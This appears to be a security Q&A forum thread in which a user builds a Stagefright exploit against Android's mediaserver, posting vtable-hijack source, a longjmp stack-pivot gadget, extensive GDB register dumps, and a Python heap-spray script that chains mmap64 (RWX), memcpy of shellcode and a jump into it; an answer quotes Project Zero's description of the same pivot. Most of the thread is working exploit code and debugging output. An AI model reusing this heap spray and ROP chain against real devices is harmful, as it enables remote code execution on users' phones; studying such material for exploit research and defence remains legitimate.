2

Here I control r2 (vtable)

   0xb6712c48 <+7120>:  ldr r5, [r2, #28]
   0xb6712c4a <+7122>:  ldrd    r2, r3, [r8]
   0xb6712c4e <+7126>:  blx r5

How I understand it:

I control the r2 register (vtable), it loads an offset value off of r2 (28 bytes) than it branches, calls r5

So practically, I can call any instruction where readAt() is called below:

// overflow here, so that size + chunk_size == 32 and size > 32
    uint8_t *buffer = new uint8_t[size + chunk_size];
    // buffer is allocated immediately before mDataSource
    if (size > 0) {
        // this will overflow and corrupt the mDataSource vtable 
        memcpy(buffer, data, size);
    }
    // this call goes through the corrupt vtable, and we get control of execution
    if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
            < chunk_size) {

The Big question is how to build:

Stack Pivot

Can somebody describe it high level, ideally with precise example?

As far as I understand it I need to do:

  1. Stack pivot
  2. mmap64 to allocate memory rwx
  3. memcpy to copy the shellcode from heap
  4. Go to shellcode

New to gadgets and ROPing

Thanks,

Update 1:

Here is my attempt:

Want to use this gadget:

   0xb6f05424 <+32>:    add r2, r0, #76 ; 0x4c
   0xb6f05428 <+36>:    ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xb6f0542c <+40>:    teq sp, #0
   0xb6f05430 <+44>:    teqne   lr, #0
   0xb6f05434 <+48>:    beq 0xb6f05448 <_longjmp+68>
   0xb6f05438 <+52>:    mov r0, r1
   0xb6f0543c <+56>:    teq r0, #0
   0xb6f05440 <+60>:    moveq   r0, #1
   0xb6f05444 <+64>:    bx  lr

That's complete disassemble of the gadget I use:

(gdb) disass 0xb6f05408
Dump of assembler code for function _longjmp:
   0xb6f05404 <+0>: ldr r2, [pc, #-12]  ; 0xb6f05400
   0xb6f05408 <+4>: ldr r3, [r0]
   0xb6f0540c <+8>: teq r2, r3
   0xb6f05410 <+12>:    bne 0xb6f05448 <_longjmp+68>
   0xb6f05414 <+16>:    add r2, r0, #8
   0xb6f05418 <+20>:    vldmia  r2, {d8-d15}
   0xb6f0541c <+24>:    ldr r2, [r0, #72]   ; 0x48
   0xb6f05420 <+28>:    vmsr    fpscr, r2
   0xb6f05424 <+32>:    add r2, r0, #76 ; 0x4c
   0xb6f05428 <+36>:    ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xb6f0542c <+40>:    teq sp, #0
   0xb6f05430 <+44>:    teqne   lr, #0
   0xb6f05434 <+48>:    beq 0xb6f05448 <_longjmp+68>
   0xb6f05438 <+52>:    mov r0, r1
   0xb6f0543c <+56>:    teq r0, #0
   0xb6f05440 <+60>:    moveq   r0, #1
   0xb6f05444 <+64>:    bx  lr
   0xb6f05448 <+68>:    blx 0xb6f06e70 <longjmperror>
   0xb6f0544c <+72>:    bl  0xb6f050d4 <abort>
   0xb6f05450 <+76>:    b   0xb6f05448 <_longjmp+68>
End of assembler dump.

I set next instruction to my pivot gadget at 0xb6f05424 

(gdb) attach 25340
Attaching to program: /system/bin/mediaserver, process 25340
[New LWP 25344]
[New LWP 25345]
[New LWP 25346]
[New LWP 25350]
[New LWP 25351]
[New LWP 25352]
[New LWP 25353]
[New LWP 25354]
[New LWP 25355]
[New LWP 25362]
[New LWP 25363]
[New LWP 25364]
warning: Could not load shared library symbols for 15 libraries, e.g. camera.msm8226.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?

Thread 1 "mediaserver" stopped.
0xb6f2d83c in __ioctl () from /system/lib/libc.so
(gdb) cont
Continuing.
[New LWP 25452]
[New LWP 25520]
[New LWP 25548]

Thread 1 "mediaserver" received signal SIGSEGV, Segmentation fault.
0x03a00000 in ?? ()
(gdb) i r
r0             0xb5838ba0   3045297056
r1             0xb5838c18   3045297176
r2             0x1000710    16779024
r3             0x0  0
r4             0xbeffeff0   3204444144
r5             0x3a00001    60817409
r6             0xb586dde0   3045514720
r7             0xffffff84   4294967172
r8             0xbefff528   3204445480
r9             0xb67cb7d0   3061626832
r10            0xffffff74   4294967156
r11            0xb5838b78   3045297016
r12            0xbeffeab8   3204442808
sp             0xbeffef78   0xbeffef78
lr             0xb6712c51   -1234097071
pc             0x3a00000    0x3a00000
cpsr           0x600f0030   1611595824
(gdb) x/10x 0xb6f05424
0xb6f05424 <_longjmp+32>:   0xe280204c  0xe8927ff0  0xe33d0000  0x133e0000
0xb6f05434 <_longjmp+48>:   0x0a000003  0xe1a00001  0xe3300000  0x03a00001
0xb6f05444 <_longjmp+64>:   0xe12fff1e  0xfa000688

Any ideas why it seg faults here?

How can I know which instruction was it?

Thanks,

Update 2:

So now I have tried to put fake vtable with address of the pivot gadget on the heap. It goes through it, but than seg faults on 0x00000000

(gdb) attach 316
A program is being debugged already.  Kill it? (y or n) y
Attaching to program: /system/bin/mediaserver, process 316
[New LWP 351]
[New LWP 363]
[New LWP 364]
[New LWP 389]
[New LWP 390]
[New LWP 391]
[New LWP 392]
[New LWP 393]
[New LWP 394]
[New LWP 397]
[New LWP 398]
[New LWP 400]
[New LWP 401]
[New LWP 402]
[New LWP 436]
warning: Could not load shared library symbols for 15 libraries, e.g. camera.msm8226.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?

Thread 1 "mediaserver" stopped.
0xb6f2d83c in __ioctl () from /system/lib/libc.so
(gdb) cont
Continuing.
[New LWP 482]
[New LWP 483]
[New LWP 495]
[New LWP 516]

Thread 1 "mediaserver" hit Breakpoint 1, 0xb6f05424 in _longjmp ()
   from /system/lib/libc.so
(gdb) ir 
Undefined command: "ir".  Try "help".
(gdb) i r
r0             0xb5838b50   3045296976
r1             0xb5838bc8   3045297096
r2             0x1000710    16779024
r3             0x0  0
r4             0xbeffeff0   3204444144
r5             0xb6f05424   3069203492
r6             0xb586dde0   3045514720
r7             0xffffff84   4294967172
r8             0xbefff528   3204445480
r9             0xb67cb7d0   3061626832
r10            0xffffff74   4294967156
r11            0xb5838b28   3045296936
r12            0xbeffeab8   3204442808
sp             0xbeffef78   0xbeffef78
lr             0xb6712c51   -1234097071
pc             0xb6f05424   0xb6f05424 <_longjmp+32>
cpsr           0x600f0010   1611595792
(gdb) stepi
[New LWP 635]
[LWP 483 exited]
0xb6f05428 in _longjmp () from /system/lib/libc.so
(gdb) disass 0xb6f05428
Dump of assembler code for function _longjmp:
   0xb6f05404 <+0>: ldr r2, [pc, #-12]  ; 0xb6f05400
   0xb6f05408 <+4>: ldr r3, [r0]
   0xb6f0540c <+8>: teq r2, r3
   0xb6f05410 <+12>:    bne 0xb6f05448 <_longjmp+68>
   0xb6f05414 <+16>:    add r2, r0, #8
   0xb6f05418 <+20>:    vldmia  r2, {d8-d15}
   0xb6f0541c <+24>:    ldr r2, [r0, #72]   ; 0x48
   0xb6f05420 <+28>:    vmsr    fpscr, r2
   0xb6f05424 <+32>:    add r2, r0, #76 ; 0x4c
=> 0xb6f05428 <+36>:    ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xb6f0542c <+40>:    teq sp, #0
   0xb6f05430 <+44>:    teqne   lr, #0
   0xb6f05434 <+48>:    beq 0xb6f05448 <_longjmp+68>
   0xb6f05438 <+52>:    mov r0, r1
   0xb6f0543c <+56>:    teq r0, #0
   0xb6f05440 <+60>:    moveq   r0, #1
   0xb6f05444 <+64>:    bx  lr
   0xb6f05448 <+68>:    blx 0xb6f06e70 <longjmperror>
   0xb6f0544c <+72>:    bl  0xb6f050d4 <abort>
   0xb6f05450 <+76>:    b   0xb6f05448 <_longjmp+68>
End of assembler dump.
(gdb) stepi
[New LWP 636]
0xb6f0542c in _longjmp () from /system/lib/libc.so
(gdb) i r
r0             0xb5838b50   3045296976
r1             0xb5838bc8   3045297096
r2             0xb5838b9c   3045297052
r3             0x0  0
r4             0x30303030   808464432
r5             0x30303030   808464432
r6             0x30303030   808464432
r7             0x30303030   808464432
r8             0x30303030   808464432
r9             0x30303030   808464432
r10            0x30303030   808464432
r11            0x30303030   808464432
r12            0x30303030   808464432
sp             0xb05b4020   0xb05b4020
lr             0xb6f47974   -1225492108
pc             0xb6f0542c   0xb6f0542c <_longjmp+40>
cpsr           0x600f0010   1611595792
(gdb) stepi
[LWP 495 exited]
[LWP 436 exited]
0xb6f05430 in _longjmp () from /system/lib/libc.so
(gdb) i r
r0             0xb5838b50   3045296976
r1             0xb5838bc8   3045297096
r2             0xb5838b9c   3045297052
r3             0x0  0
r4             0x30303030   808464432
r5             0x30303030   808464432
r6             0x30303030   808464432
r7             0x30303030   808464432
r8             0x30303030   808464432
r9             0x30303030   808464432
r10            0x30303030   808464432
r11            0x30303030   808464432
r12            0x30303030   808464432
sp             0xb05b4020   0xb05b4020
lr             0xb6f47974   -1225492108
pc             0xb6f05430   0xb6f05430 <_longjmp+44>
cpsr           0xa00f0010   -1609629680
(gdb) disass 0xb6f05430
Dump of assembler code for function _longjmp:
   0xb6f05404 <+0>: ldr r2, [pc, #-12]  ; 0xb6f05400
   0xb6f05408 <+4>: ldr r3, [r0]
   0xb6f0540c <+8>: teq r2, r3
   0xb6f05410 <+12>:    bne 0xb6f05448 <_longjmp+68>
   0xb6f05414 <+16>:    add r2, r0, #8
   0xb6f05418 <+20>:    vldmia  r2, {d8-d15}
   0xb6f0541c <+24>:    ldr r2, [r0, #72]   ; 0x48
   0xb6f05420 <+28>:    vmsr    fpscr, r2
   0xb6f05424 <+32>:    add r2, r0, #76 ; 0x4c
   0xb6f05428 <+36>:    ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xb6f0542c <+40>:    teq sp, #0
=> 0xb6f05430 <+44>:    teqne   lr, #0
   0xb6f05434 <+48>:    beq 0xb6f05448 <_longjmp+68>
   0xb6f05438 <+52>:    mov r0, r1
   0xb6f0543c <+56>:    teq r0, #0
   0xb6f05440 <+60>:    moveq   r0, #1
   0xb6f05444 <+64>:    bx  lr
   0xb6f05448 <+68>:    blx 0xb6f06e70 <longjmperror>
   0xb6f0544c <+72>:    bl  0xb6f050d4 <abort>
   0xb6f05450 <+76>:    b   0xb6f05448 <_longjmp+68>
End of assembler dump.
(gdb) stepi
0xb6f05434 in _longjmp () from /system/lib/libc.so
(gdb) disass 0xb6f05430
Dump of assembler code for function _longjmp:
   0xb6f05404 <+0>: ldr r2, [pc, #-12]  ; 0xb6f05400
   0xb6f05408 <+4>: ldr r3, [r0]
   0xb6f0540c <+8>: teq r2, r3
   0xb6f05410 <+12>:    bne 0xb6f05448 <_longjmp+68>
   0xb6f05414 <+16>:    add r2, r0, #8
   0xb6f05418 <+20>:    vldmia  r2, {d8-d15}
   0xb6f0541c <+24>:    ldr r2, [r0, #72]   ; 0x48
   0xb6f05420 <+28>:    vmsr    fpscr, r2
   0xb6f05424 <+32>:    add r2, r0, #76 ; 0x4c
   0xb6f05428 <+36>:    ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xb6f0542c <+40>:    teq sp, #0
   0xb6f05430 <+44>:    teqne   lr, #0
=> 0xb6f05434 <+48>:    beq 0xb6f05448 <_longjmp+68>
   0xb6f05438 <+52>:    mov r0, r1
   0xb6f0543c <+56>:    teq r0, #0
   0xb6f05440 <+60>:    moveq   r0, #1
   0xb6f05444 <+64>:    bx  lr
   0xb6f05448 <+68>:    blx 0xb6f06e70 <longjmperror>
   0xb6f0544c <+72>:    bl  0xb6f050d4 <abort>
   0xb6f05450 <+76>:    b   0xb6f05448 <_longjmp+68>
End of assembler dump.
(gdb) i r
r0             0xb5838b50   3045296976
r1             0xb5838bc8   3045297096
r2             0xb5838b9c   3045297052
r3             0x0  0
r4             0x30303030   808464432
r5             0x30303030   808464432
r6             0x30303030   808464432
r7             0x30303030   808464432
r8             0x30303030   808464432
r9             0x30303030   808464432
r10            0x30303030   808464432
r11            0x30303030   808464432
r12            0x30303030   808464432
sp             0xb05b4020   0xb05b4020
lr             0xb6f47974   -1225492108
pc             0xb6f05434   0xb6f05434 <_longjmp+48>
cpsr           0xa00f0010   -1609629680
(gdb) stepi
[LWP 402 exited]
0xb6f05438 in _longjmp () from /system/lib/libc.so
(gdb) disass 0xb6f05430
Dump of assembler code for function _longjmp:
   0xb6f05404 <+0>: ldr r2, [pc, #-12]  ; 0xb6f05400
   0xb6f05408 <+4>: ldr r3, [r0]
   0xb6f0540c <+8>: teq r2, r3
   0xb6f05410 <+12>:    bne 0xb6f05448 <_longjmp+68>
   0xb6f05414 <+16>:    add r2, r0, #8
   0xb6f05418 <+20>:    vldmia  r2, {d8-d15}
   0xb6f0541c <+24>:    ldr r2, [r0, #72]   ; 0x48
   0xb6f05420 <+28>:    vmsr    fpscr, r2
   0xb6f05424 <+32>:    add r2, r0, #76 ; 0x4c
   0xb6f05428 <+36>:    ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xb6f0542c <+40>:    teq sp, #0
   0xb6f05430 <+44>:    teqne   lr, #0
   0xb6f05434 <+48>:    beq 0xb6f05448 <_longjmp+68>
=> 0xb6f05438 <+52>:    mov r0, r1
   0xb6f0543c <+56>:    teq r0, #0
   0xb6f05440 <+60>:    moveq   r0, #1
   0xb6f05444 <+64>:    bx  lr
   0xb6f05448 <+68>:    blx 0xb6f06e70 <longjmperror>
   0xb6f0544c <+72>:    bl  0xb6f050d4 <abort>
   0xb6f05450 <+76>:    b   0xb6f05448 <_longjmp+68>
End of assembler dump.
(gdb) stepi
0xb6f0543c in _longjmp () from /system/lib/libc.so
(gdb) stepi
0xb6f05440 in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f05444 in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f47974 in _Unwind_GetGR () from /system/lib/libc.so
(gdb) 
0xb6f47974 in _Unwind_GetGR () from /system/lib/libc.so
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x0

(gdb) i r
r0             0xb5838bc8   3045297096
r1             0xb5838bc8   3045297096
r2             0xb5838b9c   3045297052
r3             0x0  0
r4             0x30303030   808464432
r5             0x30303030   808464432
r6             0x30303030   808464432
r7             0x30303030   808464432
r8             0x30303030   808464432
r9             0x30303030   808464432
r10            0x30303030   808464432
r11            0x30303030   808464432
r12            0x30303030   808464432
sp             0xb05b4020   0xb05b4020
lr             0xb6f47974   -1225492108
pc             0xb6f47974   0xb6f47974 <_Unwind_GetGR+36>
cpsr           0xa00f0010   -1609629680
(gdb) cont
Continuing.

Thread 1 "mediaserver" received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) cont
Continuing.

Thread 1 "mediaserver" received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) cont
Continuing.
Unable to fetch general registers.: No such process.
(gdb) [LWP 636 exited]
[LWP 635 exited]
[LWP 516 exited]
[LWP 482 exited]
[LWP 401 exited]
[LWP 400 exited]
[LWP 398 exited]
[LWP 397 exited]
[LWP 394 exited]
[LWP 393 exited]
[LWP 392 exited]
[LWP 391 exited]
[LWP 390 exited]
[LWP 389 exited]
[LWP 364 exited]
[LWP 363 exited]
[LWP 351 exited]

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

The program is not being run.
(gdb) x/10x 0xb5838bc8
0xb5838bc8: Cannot access memory at address 0xb5838bc8
(gdb) 

Update 3:

Additional information to Update 2:. It seem to be seg faulted on pop {pc}

(gdb) disass 0xb6f47974
Dump of assembler code for function _Unwind_GetGR:
   0xb6f47950 <+0>: push    {r0, r1, r2, r3, r4, lr}
   0xb6f47954 <+4>: mov r2, r1
   0xb6f47958 <+8>: add r3, sp, #12
   0xb6f4795c <+12>:    mov r1, #0
   0xb6f47960 <+16>:    str r3, [sp]
   0xb6f47964 <+20>:    mov r3, r1
   0xb6f47968 <+24>:    bl  0xb6f478f4 <_Unwind_VRS_Get>
   0xb6f4796c <+28>:    ldr r0, [sp, #12]
   0xb6f47970 <+32>:    add sp, sp, #20
   0xb6f47974 <+36>:    pop {pc}        ; (ldr pc, [sp], #4)
End of assembler dump.

My heap spray:

def heap_spray(size):
  pssh = 'spry'
  pssh += 'S' * 16
  pssh += pb32(size)

  page = ''

  nop = asm.asm('nop', arch='thumb')
  while len(page) < 28:
    page += nop

  page += p32(stack_pivot) 

  # pivot swaps stack then returns to pop {pc}
  page += p32(pop_r0_r1_r2_r3_pc)


  page += shellcode
  while len(page) < 0xed0:
    page += '\xcc'


  # mmap64(mmap_address, 
  #        0x1000,
  #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
  #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  #        -1,
  #        0);

  page += p32(mmap_address)             # r0 = address
  page += p32(0x1000)                   # r1 = size
  page += p32(7)                        # r2 = protection
  page += p32(0x32)                     # r3 = flags
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap64)                   # pc

  page += p32(0xffffffff)               # fd      (and then r4)
  page += pad(4)                        # padding (and then r5)
  page += p64(0)                        # offset  (and then r6, r7)
  page += p32(pop_r0_r1_r2_r3_pc)       # pc

  # memcpy(shellcode_address, 
  #        spray_address + len(rop_stack),
  #        len(shellcode));

  page += p32(mmap_address)             # r0 = dst
  page += p32(spray_address - 0xed0)    # r1 = src
  page += p32(0xed0)                    # r2 = size
  page += p32(0x33333333)               # r3
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(memcpy)                   # pc

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap_address + 1)         # pc

  while len(page) < 0x1000:
    page += '#'

  pssh += page * (size // 0x1000)

  return chunk('pssh', pssh)
2

The same stack pivot is used in the Stagefright code execution example on Google Zero, as in the Metaphor exploit/ASLR bypass (page 15):

Disabling ASLR in the system config I fairly quickly found a useful trick to pivot the stack (our function call is a vtable call, so we will always have r0 set as the this object, pointing to our corrupted MPEG4DataSource).

Inside longjmp in libc.so, we have the following instruction sequence

.text:00013344    ADD             R2, R0, #0x4C
.text:00013348    LDMIA           R2, {R4, R5, R6, R7, R8, R9, R10, R11, R12, SP, LR}
.text:0001334C    TEQ             SP, #0
.text:00013350    TEQNE           LR, #0
.text:00013354    BEQ             botch_0 ; we won’t take this branch, as we control lr
.text:00013358    MOV             R0, R1
.text:0001335C    TEQ             R0, #0
.text:00013360    MOVEQ           R0, #1
.text:00013364    BX              LR

This will load most of the registers, including the stack pointer, from an offset on r0, which points to data we control. At this point it’s then trivial to complete the exploit with a ROP chain to allocate some RWX memory, copy in shellcode and jump to it using only functions and gadgets from within libc.so.

The pc register is of course comparable to the EIP register in x86. to find out why you get the null pointer, you need to view what jump or call gives it the address to execute.

  • Thanks!!! I found the G0 exploit not working on my CM 12 mobile. Had to adjust few things .... also learning this, so maybe I am doing something wrong. So far I got to control over vtable and readAt call. Working further on this. I also opened new question: security.stackexchange.com/questions/155511/… Maybe you know why .... this happens. Thanks in advance! – dev Apr 2 '17 at 11:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.